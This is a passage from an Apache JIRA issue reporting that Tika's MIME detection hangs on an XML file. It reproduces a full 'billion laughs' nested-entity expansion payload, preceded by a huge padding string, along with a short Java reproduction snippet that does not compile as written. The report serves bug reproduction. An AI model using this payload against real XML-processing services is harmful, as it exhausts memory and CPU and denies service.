hahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhhhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa"> > <!ENTITY laugh1 "&laugh0;&laugh0;"> > <!ENTITY laugh2 "&laugh1;&laugh1;"> > <!ENTITY laugh3 "&laugh2;&laugh2;"> > <!ENTITY laugh4 "&laugh3;&laugh3;"> > <!ENTITY laugh5 "&laugh4;&laugh4;"> > <!ENTITY laugh6 "&laugh5;&laugh5;"> > <!ENTITY laugh7 "&laugh6;&laugh6;"> > <!ENTITY laugh8 "&laugh7;&laugh7;"> > <!ENTITY laugh9 "&laugh8;&laugh8;"> > <!ENTITY laugh10 "&laugh9;&laugh9;"> > <!ENTITY laugh11 "&laugh10;&laugh10;"> > <!ENTITY laugh12 "&laugh11;&laugh11;"> > <!ENTITY laugh13 "&laugh12;&laugh12;"> > <!ENTITY laugh14 "&laugh13;&laugh13;"> > <!ENTITY laugh15 "&laugh14;&laugh14;"> > <!ENTITY laugh16 "&laugh15;&laugh15;"> > <!ENTITY laugh17 "&laugh16;&laugh16;"> > <!ENTITY laugh18 "&laugh17;&laugh17;"> > <!ENTITY laugh19 "&laugh18;&laugh18;"> > <!ENTITY laugh20 "&laugh19;&laugh19;"> > <!ENTITY laugh21 "&laugh20;&laugh20;"> > <!ENTITY laugh22 "&laugh21;&laugh21;"> > <!ENTITY laugh23 "&laugh22;&laugh22;"> > <!ENTITY laugh24 "&laugh23;&laugh23;"> > <!ENTITY laugh25 "&laugh24;&laugh24;"> > <!ENTITY laugh26 "&laugh25;&laugh25;"> > <!ENTITY laugh27 "&laugh26;&laugh26;"> > <!ENTITY laugh28 "&laugh27;&laugh27;"> > <!ENTITY laugh29 "&laugh28;&laugh28;"> > <!ENTITY laugh30 "&laugh29;&laugh29;"> > ]> > <billion location="&laugh29;">text</billion> > {code} > 2. Create java code as "Main.java" > import org.apache.tika.Tika; > public class Main { > public static void main(String[] args) { > Tika tika = new Tika(); > String filePath = "C:\\errorfile.xml"; > FileInputStream fis = null; > mimetype = "None" > try { > fis = new FileInputStream(filePath); > mimetype = tika.detect(fis); > } catch (IOException e) { > e.printStackTrace(); > } > System.out.println(mimetype); > } > } > 3. Running falls into an infinite loop.. ToT -- This message was sent by Atlassian JIRA (v6.3.4#6332)